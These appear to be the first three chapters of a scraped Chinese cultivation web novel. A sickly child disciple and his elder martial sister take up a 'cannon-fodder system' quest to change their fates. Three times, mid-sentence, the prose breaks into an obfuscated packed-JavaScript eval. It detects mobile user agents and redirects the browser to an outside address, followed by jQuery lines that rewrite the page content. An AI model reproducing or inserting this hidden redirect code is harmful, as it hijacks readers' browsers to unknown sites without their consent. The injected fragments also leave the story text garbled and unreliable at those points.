《修真第一团宠崽崽》
1. 第一只崽崽
第1章
“咚——咚——咚——”
清早的雾气还未散去,晨起的钟声就已经响起,问道宗内,弟子们听到钟声,都三三两两的起身,走出室内,进行每日早起的晨练。
问剑峰主殿内,阳光透过窗棂倾洒在青色的帷幔上,在静心竹做的床上映出一片小小的光斑,池归皱着眉揉了揉自己被晃到的眼睛,随即被角一拉,将自己的头彻底蒙住。
——这样就不会被晃眼睛,也不会被钟声吵醒了!
小池归在心里为自己的机智点了个赞。
而看到这一幕,池归灵魂里的系统彻底绷不住了。
“警告!宿主当前炮灰指数99%,预计死亡时间不超过一个月,系统能量仅剩5%,还请宿主积极面对炮灰系统,努力自救,否则系统能量耗尽陷入沉眠,宿主也会被男主彻底杀死。”
然而面对系统的警言告语,床榻上的小池归只是打了个哈欠,随后就翻了个身继续睡了,全当脑海里的话是催眠曲,睡眠质量好得要命,丝毫不将崩溃的系统放在眼里。
毕竟,自从五年前穿越到这个修仙世界后,这个系统就不请自来,说他是个炮灰,一定要努力自救,完成任务,赚取能量,这样才能活下去。
如同上述类似的语言,这五年来池归已经听过无数次了,然而池归是谁啊,他穿越前就是一只咸鱼小乌龟,穿越后性子也半分未改,依旧懒懒散散,每天唯一的运动就是去灵膳堂吃饭——如果不是修为不够必须要吃,灵膳堂的丁师叔手艺又实在是太过绝美,池归连这点运动量都不想保持。
每天晒晒太阳就很美好啦,根本就不想做其他的任何事。
所以系统劝了他足足五年,什么威逼利诱都用上了,却还没能改变池归的半分主意。
“你就不怕死吗?”看着小池归犹自睡得香甜的模样,系统忍不住发出灵魂质问,“要知道,死了可就什么都没了,什么睡懒觉,晒太阳,吃美食,听故事……等等这些,全都没了,你就不可惜吗?”
系统想问的是,你就真的没有一点点的求生欲?
然而面对系统的灵魂拷问,小小的池归只是在意识里轻轻叹了口气,随即无所谓道,“死就死了呗,死了说不定还能回家吃到道长做的烤小鸟呢!”
系统:“……”
“什么烤小鸟,难道比丁师叔做的灵食还好吃?”系统再次绷不住了,它实在是难以理解,为什么会有宿主像是池归这个样子,它之前做系统培训的时候没有这个宿主类型啊。
谁知这一次小池归却是不假思索,“当然没有丁师叔做的灵食好吃。”要知道,丁师叔做的灵食可是连问道宗的大长老出关后都要忍不住品尝的存在,那好吃程度自然非同一般。
就在系统燃起一丝希望的时候,却听到池归继续道,“不过,道长的烤小鸟也很好吃啊,我从前最期待道长做给我吃了。”
而且,不仅仅是烤小鸟。
还有道长做的很多好吃的,烤小鱼,烤小虾,烤田螺,烤知了……那曾是池归记忆里最简单普通,却也最为期待的快乐。
只是这一切,都伴随着系统和穿越,再也看不到了,甚至,他都还没和道长好好的道个别。
也不知道道长会不会想他,想到这里,池归再次叹了口气,随后被子蒙头,决定继续睡。
万事不决,先睡一觉,心情不畅,再睡一觉,忧思忧惧……总之,不如睡一觉。
系统见实在吵不醒小池归,只能绝望的面对小池归超好的睡眠质量,自行自闭去了。
……
这一觉睡到日上三竿,直到灵思雀在枝头叫了足足三遍,小池归才在睡梦中醒来。
习惯性的抱着被子又赖了一会儿,池归这才起床洗漱,山泉水洗干净脸颊,又费劲的给自己梳了个包包头之后,池归这才掏出衣领里的竹哨吹了一下,很快,一只白鹤循着声音飞来,落在池归的身边。
小池归在储物袋里掏了掏,掏出一块小鱼干塞给白鹤,“喏,青金,这是昨天丁师叔做的,我特意给你留的。”
白鹤看到小鱼干的时候眼睛都亮了,忙不迭的叼进嘴里,当不小的鱼干三口两口被它咽下去后,叫青金的白鹤眯起眼睛,连头冠都洋溢着幸福,使劲用头蹭了蹭小池归,这才矮下身,示意池归上来。
小池归也不客气,直接坐了上去,白鹤也不用小池归指挥,直接就带他到了灵膳堂。
此时早已经过了吃早膳的时间,整个灵膳堂人烟寥寥,就连许多的灵食堂口都放下了卷帘,表示这种灵食没有了,不过小池归对此却是丝毫不理,直接轻车熟路的向着后堂走去。
一边走还一边大声道:“丁师叔,丁师叔,我来啦!”
听到小池归的声音,不仅尚在开门的几个灵食堂口里的师叔师兄们放下手中正在制作的灵食看向小池归,就连几个已经放下卷帘的师叔们都“唰”的拉开卷帘,当看到小池归的时候,每个人脸上都带着慈爱的笑容。
“哟,小池归来啦,今天来的可比昨天早哦,睡得怎么样,师叔送你的安心枕好用吗?”
“小池归,别理他,来师姑这里,师姑今天做了小池归最爱的糖醋灵雀蛋!”
“小池归,今天的山笋竹灵鸡可是一绝,别忘了吃。”
“小池归,你不是一直念叨着要吃什么辣条吗,我尝试着做了一点,有微辣的甜辣的还有五香的,你看看你爱吃哪个?”
小池归一边走一边熟练的接过各种好吃的,直到怀里都快装不下了,热情的师叔师兄们这才善罢甘休。
他抱着满怀吃食,艰难地走向后堂——那是丁师叔的地盘,只有他认可的人才能进。
而丁师叔看着小池归怀里的一大堆东西,也是熟练的挑挑拣拣起来,“这个灵气驳杂,是小方做的吧,早就说让他不要研究歪门邪道,先好好把食材灵气理顺,他就不听,这个你先别吃了,对你身体不好。”
“这个糖醋灵雀蛋可以少吃一些,灵气有点强,你补起来要平缓一些。”
“这个山笋竹灵鸡,灵气太强了,你吃不了……”刚说到这,就看到小池归有些失落的神色,丁师叔语气一顿,道,“不过喝口汤还是可以的,这个可以吃一口。”
池归这才重新高兴了一点,丁师叔看着这样的小池归,内心也是一阵叹息。
多好的孩子,怎么就……希望剑尊师兄能早日归来,找到能救小池归的仙草吧。
“嗯,除了这些,今天给你做了芭蕉胭脂饭和紫苏炙肉,都是你爱吃的,来尝尝看。”丁师叔拿出早就准备好的食盒,将里面的饭菜一一摆在小池归面前。
小池归这才欢呼一声,拿起筷子开动,看着小池归满脸幸福的神色,丁师叔揪着的内心这才和缓了一些。
这是他们问道宗最小的孩子,是他们这一辈唯一的一个后代,也是最让他们心疼的那个。
无他,谁让这个孩子天生就是噬灵绝脉体,万年无一的灾厄血脉,偏偏却被这样小的孩子摊上,怎么能让他们不心疼。
孩子他爹,也就是他们这一代的至强剑尊,在发现小池归的体质之后就出门寻找仙草,试图找出能改善小池归体质的方法。
掌门长老他们也是多方探访古籍,寻求解决的办法,师兄师姐们不说了,出门回来必带一些没见过的花花草草灵石矿材,就连他们,对小池归也是关爱有加,就希望小池归在被病痛折磨之余能舒服一点点,也算是他们唯一能尽的一点心意了。
池归在美美的吃过一顿早午合一的灵膳之后,就拿着丁师叔专门给他做的小零食走出灵膳堂门,打算回问剑峰继续咸鱼躺平。
看着小池归的模样,丁师叔无奈,“先别回问剑峰,忘了今天是什么日子了?要去问丹峰找你文师叔拿药的,不许嫌弃药苦就不去,注意点你的身体,不然又要遭罪了。”
池归怔了下,然后才想起这件事,脸色立刻就垮了下来,光顾着每天和系统斗智斗勇,享受美好的阳光和好吃的灵食,都忘了还有吃药这回事了。
但面对丁师叔的叮嘱,池归只能乖乖道,“好的丁师叔,我知道了,我这就去。”不然回问剑峰以后还要再出来,不如一次性解决
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385910|200248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
掉,好直接回床上躺平。
见小池归答应,丁师叔这才点了点头,目送着小池归离去。
而池归也没有晃点丁师叔,待到青金白鹤过来后,照旧给了它一块丁师叔秘制小零食后,就和它一起去了问丹峰。
依旧熟悉的场景,熟悉的对话,只是等到池归进了问丹峰的主殿内堂后,见到的不是胖胖的丁师叔,而是身姿曼妙,容颜隽丽的文师叔。
“文师叔好。”池归乖乖叫人,随后才看向四周,发现除了文师叔,大师姐连星珏居然也在这里。
“欸,大师姐你也在呀!”池归有些高兴,他已经很久没看到大师姐了,自从大师姐上一次在秘境之中经人陷害中了情毒,池归就很少再看到她,每次看到,也只能见她头覆面纱,匆匆离去的背影。
只是这一次……池归看着文师叔憔悴的神色,以及大师姐一如既往躲闪的目光,心下一叹,知道这一次的解毒估计又是没有结果的一次了。
“小池归。”大师姐的声音有点嘶哑,那是情毒的后遗症之一,她轻轻的回了一句后,就从储物戒里掏出了一堆剑,有木头的、金属的、寒玉的、暖玉的……简直应有尽有。
随后将这些推过来,“给你,看看喜欢哪一个,都给你玩。”
池归心里一酸。
大师姐是武痴,是剑狂,三句话不离剑法,两句话必带剑招。她把自己最爱的剑送给小师弟,就像把自己最珍视的世界分给他一块。曾经有一次,她甚至用剑隼烹熟做了两把能吃的剑——细小剑气在嘴里像跳跳糖一样,那是池归最难忘也最喜欢的礼物。
“都喜欢。”池归扬起笑脸,“最爱大师姐了!”
大师姐的眼睛瞬间亮了起来,随后整个人的生机都盎然了几分。
见到池归和连星珏互动完,文师叔温和的笑了笑,指了指身边的暖玉床道,“坐上来。”
小池归也不怯场,熟练的坐上去,等待文师叔的检查,带着药香气的灵气在身体里游走着,等到循环完毕,文师叔的灵力也退了出来。
文师叔的神色看不出是好是坏,只是一如既往的沉思斟酌着如何用药,就在小池归以为今天会是和之前的每一天一样的时候,系统却忽然在这个时候出来,吓了池归一跳。
“宿主,你还是不肯做任务吗?”系统问的郑重其事。
池归有些奇怪,不过这些问题系统已经问了很多遍了,所以池归回答得也是轻车熟路的随意,“是的。”反正他就算做了任务也活不过十八岁,就算所谓的男主不杀他,他自己的噬灵绝脉体也会把他干掉,那么他有什么做任务的理由呢?
更何况,他一直怀疑是系统绑架他,才把他带到这个世界的,不然他好端端的为什么忽然穿越了,还一穿越就有系统,不是这个所谓的炮灰自救系统干的,还能是谁干的。
系统听到池归的回答一点也不意外,他只是再次开口询问道,“那么,你介意我找其他人做任务吗?”
小池归眨眨眼,其他人?什么意思?难道系统要和他脱离关系,找其他人绑定了?
不过这个也无所谓吧,所以小池归仍然轻松道,“当然不介意。”
话音刚落,脑海里忽然有什么东西碎了一下。紧接着,一道从未听过的机械音响起——冰冷,庄重,像天道在宣判——
“经宿主授权,现开启非主流共享模式。”
“共享要求:需与宿主同为炮灰命格。”
“共享目标扫描中……扫描完成。”
“共享目标:连星珏(原命运:因男主毁容,绝望自尽)。”
“共享任务:摘取轻灵草。”
“共享奖励:轻灵丹(可解情毒,恢复容貌)。”
“任务时限:七日。”
“失败惩罚:抹杀。”
池归猛地抬头。
大师姐连星珏正站在不远处,面纱覆面,目光温柔地看着他。而此刻,她眼前也浮着一块只有她能看见的光幕。
她愣住了。
“请问,共享目标连星珏,是否愿意接受任务?”
2. 第二只崽崽
第2章
文师叔察觉到有些异样的气氛,询问道,“星珏,怎么了?”
连星珏没有回答,她只是定定的看着光幕上的那两行字,一遍又一遍。
【可解情毒,恢复容貌。】
【失败惩罚:抹杀。】
她慢慢转头,看向暖玉床上那个一脸懵的小师弟。
小池归也正睁大眼睛看着她,嘴唇无声的翕动道:大师姐,别接——
就连室内的含羞叶在这一刻都蜷缩了起来,似乎察觉到了某种不一样的东西正在滋生着……
连星珏忽然笑了。
隔着面纱,池归看不到大师姐的表情,只看见她眉宇间尽是舒朗,眼睛在这一刻也弯了起来,像是一抹月牙。
然后她开口,声音喑哑,语气却坚定,一字一顿道:
“我、接、受!”
池归怔住了。
系统的机械音再次响起:
【共享协议成立。】
【任务倒计时:七日。】
【祝您……逆天改命。】
窗外的阳光正好,池归忽然有种奇怪的预感——从这一刻起,很多事情,都不一样了。
——
既然已经决定接受这个所谓系统的共享任务,连星珏自然不可能坐以待毙,毕竟任务失败的后果可是抹杀。
连星珏不想赌命,她想逆天改命。
而且——连星珏目光沉郁的看着光幕上出现的那些字,想要完成任务的迫切感更重了几分。
什么叫“因男主毁容,绝望自尽”?
她一直以为自己中了情毒只是一个意外而已,毕竟谁都没想到,只是一个金丹期的秘境,里面居然会有情毒这种上古剧毒,她只以为是自己不小心,对自己的剑法太自信,所以才会疏忽大意。
而现在,这个系统告诉她,她每天需要抑制的情毒、因此被毁的容貌,居然是因为那个所谓男主?
而自己最终的结局,居然会是绝望自尽?!
这怎么可能?
而无论多么不可能,但只要有一丁点这样的可能性,连星珏都不想要这种事情发生。
而且,连星珏没忘记,这个所谓系统在与她共享任务时候说的话,共享任务的要求,可是同为炮灰命格,她如此命苦,是个炮灰,而与她共享任务的小师弟呢?
居然也是炮灰!
如果说连星珏还能容忍自己是个炮灰命格的话,小师弟也是个炮灰就是她万万不能容忍的了。
她还想要小师弟可以治好顽疾,如同师尊一样可以剑舞九天呢,让小师弟如同自己一般早夭,连星珏怎么能接受?
所以无论如何,这个炮灰命运必须改写,而如若她的可以改写,那么小师弟必然也能。
连星珏的内心升起了熊熊战火。
当然,彻底改换命格还有些遥远,现在最首先要做的,就是完成这个“摘取轻灵草”的任务。
虽然事情是在问丹峰主殿,文师叔眼皮子底下发生的,但是文师叔也只是察觉到了一点点异样,并不知道具体发生了什么。
她只是意外,小星珏好像振作了不少,没有之前那般沉郁颓废了。
“这瓶寒月丹是给你的,药量比之前重了不少,应该能压制住你这一月的毒发,不过别贪多,一天最多一粒,满月那天也不要超过三粒。”文师叔絮絮叨叨的将药瓶放在连星珏的手中。
连星珏也乖乖的接过药瓶,没有说自己乱抓了一根不知道是救命稻草还是绝命稻草的事情,只是认真开口道,“谢谢师叔。”
文师叔闻言,嫌弃的瞥了一眼连星珏,“噫!肉麻,跟师叔还道什么谢,你们师尊不在,我照顾你们是应该的。”
“真要想谢我,就有什么事都和师叔说,不要自己硬撑,别像上个月一样,毒素加重都不肯找我就行了。”文师叔说着,无奈的虚点了点连星珏的额头,眉眼中尽是温柔与担忧。
想到上个月在寒潭里差点寒气侵脉冻结而死的经历,连星珏也有些不好意思,“让师叔担心了,下次不会了。”
文师叔不甚优雅的白了连星珏一眼,“真要做到才行啊,小星珏。”这个师侄的性子她再了解不过,若有天真的不倔不犟开口求助才是奇事。
谁知,就在文师叔这样想的时候,连星珏居然真的开口了。
“我会尽力的。对了,师叔,还真的有件事想要询问您。”连星珏目光看向文师叔。
文师叔一愣,有些稀奇的看着她道,“什么事,说。”
连星珏认真询问道,“敢问师叔可曾听闻轻灵草,以及轻灵丹?”
文师叔闻言蹙了下眉,“轻灵草?轻灵丹?你从哪里听到这两样东西的?”
连星珏疑惑,“这两样东西有什么问题吗?我是从一本古籍上看到,说这个可能对我的毒素有效,所以才来询问您的。”
文师叔眉头稍缓,“古籍吗?那倒是正常,轻灵草是上古灵草,传闻此草遇水不湿,逢火不燃,落地不腐,飞天不落,其形翩然,其色无焉,其声如罄,其魂缥缈——乃是一等一的至轻至灵之物。”
“其效用可涤经脉,荡神魂,洗神识,炼灵根,虽然其本身并没有解毒效果,但效用比之解毒更胜百倍,如果当真有轻灵草,你的毒素在这样的上古奇草面前,自然是不值一提。”
连星珏的眼神蓦地亮起,她没想到,这个轻灵草居然真的有这样的奇效,那样的话,与轻灵草同名的轻灵丹,是不是也有着同样的效果?
看着连星珏发亮的眼眸,文师叔摇了摇头,给她泼了盆冷水,“先别高兴,既然是上古奇草,那么此世自然是早已不存了,距离上一次轻灵草出现,还是几千年前。”
“而且就算轻灵草出现了,你确定自己能采摘到它?轻灵草生长之地,可都是九幽绝地,至轻至灵之物,只有堕于至浊至邪之地才能被困住生长,不然早就散于天地了,九幽绝地可不是什么易与的地方,就算你师尊去了,都要小心万分,你就不要想了。”
见连星珏的神色有些黯淡下来,头也轻轻垂了下去,文师叔不免多了几分心疼,孩子好不容易找个希望,自己说话怎么就这么绝对,给孩子心中留一点希望也好啊。
想到这里,文师叔语气和缓道,“虽然轻灵草难采,但是师叔曾在容音阁的照影壁上看到过一点相关的逸闻,星珏如果想要知道更多轻灵草的消息,可以去容音阁看看。”
说着,从储物戒里掏出一枚令牌递给连星珏,“容音阁的寻音与我乃是金兰之交,这是她的令牌,你若是想去探寻消息,直接报我的名字就可。”
连星珏没想到还有意外之喜,连忙收下,“谢谢师叔。”
文师叔笑了笑,“至于轻灵丹嘛,顾名思义,是用轻灵草制作的,药效除了轻灵草本身的效果外,还糅合了轻灵草的特性——水火不侵,万邪不染,山石避让,羽化飞天,是一种难得的已经失传的丹药,别说制作方法了,就连丹药特性,都是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385911|200248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
翻遍古籍才知晓几分,也许再过些年,就再也听不到轻灵的消息了。”
知道轻灵丹与轻灵草一样有用,连星珏心下安定了几分,如果系统不是个骗子的话,那么若有轻灵丹她必然能祛除毒素,但若是系统骗人的话,那么她若能取得轻灵草,以轻灵草之效,她也同样能祛除掉情毒。
所以,现在她唯一的任务就是,摘取轻灵草。
见连星珏神色轻松了许多,文师叔心下也舒缓了些,随即转头看向听她们讲话听得聚精会神的池归,“还有你,别以为说了小星珏后就不说你了,你上个月是不是没好好吃药?”
小池归正满脑子想着任务共享、大师姐居然也是炮灰而且下场不好、以及那个听起来好像很难的任务呢,脑袋就被文师叔的手指敲了一下。
“哎呀,疼!”小池归泪眼汪汪的看向文师叔,那委屈的小神色,看得人心软极了。
然而文师叔可不是那个心软的人,这么多年,她早就对这个惯会偷懒的小崽崽免疫了,这一套再也骗不了她了,“疼什么疼,我刚刚根本就没用力,先别耍赖,说,上个月的药为什么不好好吃?”
见没办法哄住文师叔,池归只好收起自己的委屈神色,放下捂在额头的头,果然额头没有半点红印,文师叔都快被这个小崽崽气笑了。
见文师叔的神色不太对好像要生气,池归连忙讨好的笑笑,“那个……太苦了。”小池归鼓着自己的小脸苦恼道。
“上个月的药苦的连蜜枣都压不住味道了,我实在是吃不下去……”一边说还一边偷偷看着文师叔。
文师叔看着小崽崽偷窥他神色的小模样,虽然表面还一副严肃的样子,实则内心早就软的不成样子,这个小崽崽从小就在药罐里长大,虽然吃得药多,却最怕苦,吃不下去也是正常的。
所以她高高举起,最终还是轻轻放下,只嘴里埋怨道,“苦了不知道找师叔?再把药量给你调整一下就好了嘛,怎么还偷偷不吃药,下次不能这样了啊。”
小池归扬起脸笑了起来,“师叔已经很辛苦了嘛,师叔放心,我这次一定乖乖吃药,绝对不让师叔担心了。”
听到这话,文师叔哪里还严肃得起来,只恨不得将全世界最好的一切都给小池归,小崽崽值得全世界最好的一切!
她温软道,“那就好,别和你师姐学一些报喜不报忧的不好毛病,有事情就和师叔说。”
连星珏万万没想到自己都拿完药了还能被连累到,睁大眼睛,却正好看到小师弟转过身来的抱歉神色,她还能怎么办呢?
一边是亲师叔,一边是亲师弟,唉,被说就被说吧,反正也不是一次两次了。
连星珏无奈,小池归更无奈,两个人足足被文师叔念了一个时辰,又被塞了好几瓶各种各样的丹药之后,才被放出来。
当一同从问丹峰的主殿走出来的时候,两个人在这一刻同时觉得,阳光是那么的和煦,天气又是那么的晴朗,这一切简直太美好了。
在一样如释重负的松口气后,两人相视一笑。
“小师弟,一起聊聊吗?”连星珏拿出飞剑,虽然身中情毒,但是金丹期修士的灵力还在,御个剑还是可以的。
“好。”池归也不见外,直接站在了大师姐的飞剑上。
就像大师姐有很多疑问想要知道一样,其实他也有很多疑惑,聊一聊,或许能更了解这个所谓的“炮灰自救系统”,也更能了解他们命运里的共同敌人——那个所谓的“男主”。
3. 第三只崽崽
第3章
飞剑缓缓升起,越过殿脊,越过峰峦,向着问剑峰的方向飞去。山风拂面,带着草木的清香和远处灵泉的水汽。
两人谁都没有先开口。
池归看着大师姐的背影。她站在飞剑前端,背脊挺直,青丝被风吹起,露出面纱下隐约的侧脸。
曾经,这张脸是整个问道宗最明艳的风景,而现在……
他想起系统说的那句话——原命运:因男主毁容,绝望自尽。
小池归忽然觉得心里堵得慌。
“小师弟。”连星珏先开口了,“那个系统……是什么时候找上你的?”
“五年前。”池归老实回答,“我一睁眼它就在了,说我是炮灰,让我做任务自救,我没理它。”
连星珏转头看向池归,“为什么不理?”
“懒得理。”池归理所当然道,“反正我也活不了几年,做不做任务有什么区别?”
更甚至于,活多几年就要浪费几年的药草和丹药,就要让更多的人为他担心为他忧愁,与其如此,还不如早早死去,省下来的丹药还能造福更多的同门,亲友师长或许会为此伤心一时,但也一定能更快的走出来。
总比感情更深厚的时候死去要好得多。
连星珏沉默,她很想安慰小师弟,想要告诉他要有希望,万一这个所谓的系统真的能救他呢?
但即使是连星珏自己,都没办法说出口。
噬灵绝脉体啊……万年难遇的绝症体质,从古至今,从没有治愈的先例,她凭什么能说出一个来历不明的所谓系统,就能救她的小师弟?
哪怕这个系统能说出轻灵草轻灵丹这种上古奇草,但即使轻灵草和轻灵丹,对小师弟的体质来说,也是无效的。
所以,连星珏只能沉默。
她沉默了一会儿,又问,“那你知不知道,它说的那个‘男主’是谁?”
“知道。”池归的声音低了下去,“沈逸风,一个散修,会在一个月后的宗门大比中杀了我,然后踩着咱们宗门上位,入主东皇宫。”
疾驰的飞剑微微一顿。
“杀了你?踩着咱们宗门上位?”连星珏重复着这句话,语气平静得有些异常。
“是的。”池归点头,“系统给我看过原命运的画面,沈逸风在杀了我之后会直接突破,并且暴露他万凰之体的体质,从而引起东皇宫的注意,并为他不惜和我们问道宗对上,甚至导致之后整个修真界开始动荡,最终问道宗落寞,东皇宫称尊。”
只是那时的池归以为,死的只是他自己而已。
自己死就死了,也没什么大不了,他怎么也没想到,这个他并不在意的所谓“男主”,伤害的居然不仅仅是他,居然还敢害他的师姐!
甚至只要想到系统上对于大师姐的说明——“因男主毁容,绝望自尽”——池归心里就止不住的升起滔天怒火。
他可以死,但是师姐绝对不能死!
如果早知道这个所谓的“男主”炮灰的不止有他,还会炮灰他身边的其他人的话……池归苦笑,说不定他前几年真的会如系统的意去做任务,哪怕只是为了救他在乎的人。
飞剑继续向前,沉默蔓延了许久。
“小师弟。”连星珏忽然说,“你知道我为什么接受那个任务吗?”
池归摇头。
“第一,我不想死。”连星珏的声音很轻,却很坚定,“绝望自尽?那不是我的结局。我是剑修,就算是死,也该死在剑下,而不是死在绝望里。”
“第二……”她顿了顿,“系统说,共享要求是‘与宿主同为炮灰命格’。小师弟,你是炮灰,我也是炮灰。但如果我能改命,那么你也能。”
池归怔住了。
“我想让你活下去。”连星珏说,“不是多活几年,是真正的、好好地活下去。像师尊那样,剑舞九天,长生久视。而不是每天被动的躺在床上晒太阳,等待命运前来收割。”
池归张了张嘴,不知道该说什么。
他从小就知道自己活不长,所以从来不奢望明天,更不奢求未来。晒太阳、吃好吃的、睡懒觉——这些简单的快乐,能多一天是一天,他从来不敢想“以后”。
即使知道有很多人爱他,像是出门求药至今未归的剑尊父亲、每天变着花样给他做美味灵食的丁师叔、为了他的身体操碎了心的文师叔、以及许许多多如同大师姐一样到处找奇花异草只求对他有用的师兄师姐,但是体质的阴影仍然如影随形,他宁愿缩在自己的龟壳里,也不愿将头伸出来去看一眼所谓的希望。
因为他怕看到的不过是阳光下的幻影,如同肥皂泡一样,轻轻一戳,就破了。
可是现在,有人告诉他:我想让你活下去。真正地活下去。
“大师姐……”他刚开口,就被连星珏打断了。
“到了。”飞剑缓缓降落在问剑峰主殿前的空地上。
两人落地,连星珏收起飞剑,转身看着池归:“小师弟,不管你以前怎么想,从现在开始,我希望你能认真对待这件事。不是为了你自己,是为了——”她顿了顿,“为了我们。”
池归看着她,那双眼睛在面纱后面,明亮得惊人。
他仿佛又看到了曾经风华绝代的大师姐,那样的灼灼其华,那样的明艳无双。
池归忽然想起系统说过的话:世上的命运并不是一成不变的,只要去争,去抢,去改变,哪怕是炮灰——也能成为命运的主角。
“好。”他听到自己说,“我尽力。”
连星珏笑了,明亮的眼睛弯成月牙,里面藏着数不尽的坚定与温柔。
——
既然已经决定要完成任务,那么最首要的目标,自然是要尽可能多的去收集信息。
系统的任务面板里只给了最基础的任务信息,也就是摘取轻灵草,至于轻灵草在哪,应该怎么摘,摘完后又要如何保存的信息是一点没有。
这些都需要连星珏和池归自己去收集。
“文师叔是整个问道宗对丹药药草最博学的人,如果文师叔还有关于轻灵草的信息,一定早就和我说了,既然没有再说,说明问道宗应该也找不到更多关于轻灵草的信息了。”连星珏分析道,“所以,如果我们想要完成任务,只能拿着文师叔给的令牌,去容音阁看一看照影壁了。”
池归点头表示赞同,“嗯。”
不过现在天色将晚,就算要去容音阁,也得等到明天了。
“大师姐,明天一早出发?”池归试探着问。
连星珏看出他的小心思,失笑:“好,明天一早。你今天好好休息。”
“那我先去睡了!”池归说着就往寝殿跑,跑了两步又停下来,转身跑回来,从储物袋里掏出一个小瓷瓶塞给连星珏。
“这是丁师叔给我做的蜜渍灵果,很甜的。大师姐要是觉得药苦,就吃一颗。”
连星珏握着那个小瓷瓶,温热的,还带着小师弟掌心的温度。
“好。”她说。
池归这才满意地跑开了,边跑边喊:“大师姐也早点休息!明天见!”
连星珏站在原地,看着那个小小的身影消失在殿门后。
她低头看着手中的瓷瓶,忽然觉得鼻头有点酸。
“小师弟啊……”她轻声呢喃。
月光洒在问剑峰上,将一切都镀上一层银白。
连星珏没有回自己的住处,而是在殿前的石阶上坐了下来。
她拔开瓷瓶的塞子,倒出一颗蜜渍灵果。琥珀色的果子上沾着细碎的糖霜,在月光下闪闪发亮。
她把灵果放进嘴里。
甜的。
很甜。
甜得连心里的苦涩都被压了下去。
“小师弟,这一次,师姐一定会保护好你。”
夜风拂过,带走了她的低语,也带走了这些日子以来的阴霾。
——
第二天清晨,天刚蒙蒙亮,池归就被一阵敲门声吵醒了。
“小师弟,起床了。”
是大师姐的声音。
池归把头蒙进被子里,假装没听见。
“小师弟。”连星珏的声音又传来,“说好今天去容音阁的。”
“再睡一会儿……”池归含糊不清地嘟囔。
“丁师叔做了你爱吃的芙蓉蒸蛋和虾仁灵粥,再不起来就被别人吃光了。”
池归猛地坐起来。
三分钟后,洗漱完毕、头发都没来得及梳好的小池归出现在连星珏面前,眼睛亮晶晶地问:“芙蓉蒸蛋在哪?”
连星珏忍着笑,从储物戒里取出一个食盒:“丁师叔知道我们要出门,特意准备的。还有这个——给你梳头。”
她拿出一把小木梳,示意池归坐下。
池归乖乖坐在石阶上,任由大师姐帮他梳头发。
连星珏的动作很轻,一下一下,梳过那些柔软的发丝。
“大师姐。”池归忽然开口。
“嗯?”
“你以前也这样给我梳过头吗?”
连星珏的手顿了顿:“你记得?”
“不记得。”池归摇头,“就是觉得……很熟悉。”
连星珏没有说话,只是继续梳着。
她记得。
那时候小师弟刚回到宗门没多久,因为噬灵绝脉体的关系,整个人羸弱的如同一只小猫崽一般,连眼睛都睁不开。
文师叔忙着给小师弟熬药,丁师叔忙着调制灵水,师尊忙着天南地北的找续命石,就为了能让小师弟再多活十年,而她什么都做不了,只能每天给小师弟打水洗漱,给他梳头。
那时候她也还小,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385912|200248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忙起来笨手笨脚的,好多次都把水洒进小师弟衣领里,或者梳头梳得歪歪扭扭,好在小师弟一直都没有醒来过,也就没办法在意这些。
直到后来,小师弟五岁时,师尊终于找到了一块续命石带回来,小师弟这才第一次睁开眼睛,第一次开口说话,第一次自己走路,又慢慢蹦蹦跳跳的学着照顾自己,她也就再也没有给小师弟洗漱梳头过了。
本以为那段日子早就被小师弟遗忘了,毕竟那时候的小师弟应该是没有意识的,没想到,小师弟的身体还记得。
“好了。”连星珏干净利落的给他扎了一个高马尾,又从储物戒里取出一根发带系上。
那是一条冰蓝色的发带,上面绣着细小的剑纹,是她以前用过的。
“这是大师姐的?”池归摸了摸发带。
“嗯。送你了。”连星珏说,“以后师姐每天都给你梳头。”
池归抬头看她,咧嘴笑了:“好。”
——
吃过早饭,池归和连星珏就出发前往容音阁。
容音阁是修真界少有的音修组成的门派,其中共有宫商角徵羽五脉,每一脉都有一处镇脉之宝,其中照影壁就是“商”脉之宝,除了容音阁本宗弟子,少有外人能得窥照影壁的踪迹。
而照影壁的作用也十分神奇,那就是可以窥见过去未来的一角,到底是过去还是未来不确定,那一角是谁的一角又是哪里的一角也不确定,至于究竟能不能得偿所愿更不确定,总之,按照容音阁的说法,这是一个只靠缘分的地方。
所以,尽管都传言照影壁乃是上古神器“窥天镜”的一部分,甚至曾有人在里面得到了仙人传承,但是修真界却少有人觊觎这个十分神奇的地方,无他,无缘得来也无用啊。
当然,作为三大宗门内部人士,连星珏和池归还是知道照影壁可以人为控制一点点的,至少能指引他们查找的方向。
连星珏御剑带着池归,不过小半个时辰,就看到了容音山的轮廓。
